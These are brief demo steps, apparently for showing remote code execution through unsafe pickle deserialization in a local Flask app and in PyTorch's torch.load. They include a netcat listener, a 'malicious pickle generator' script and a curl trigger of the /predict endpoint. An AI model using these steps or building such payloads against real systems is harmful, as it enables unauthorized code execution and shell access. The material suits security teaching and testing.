Open a new tab
nc -nvl 14344
Open a new tab to run the malicious pickle generator scripe
python generate_pickle.py
Open a new tab to run the Flask app
flask run
Trigger the endpoint
curl -d "x=1" http://127.0.0.1:5000/predict
Similarly with PyTorch
import torch
torch.load("model.pkl")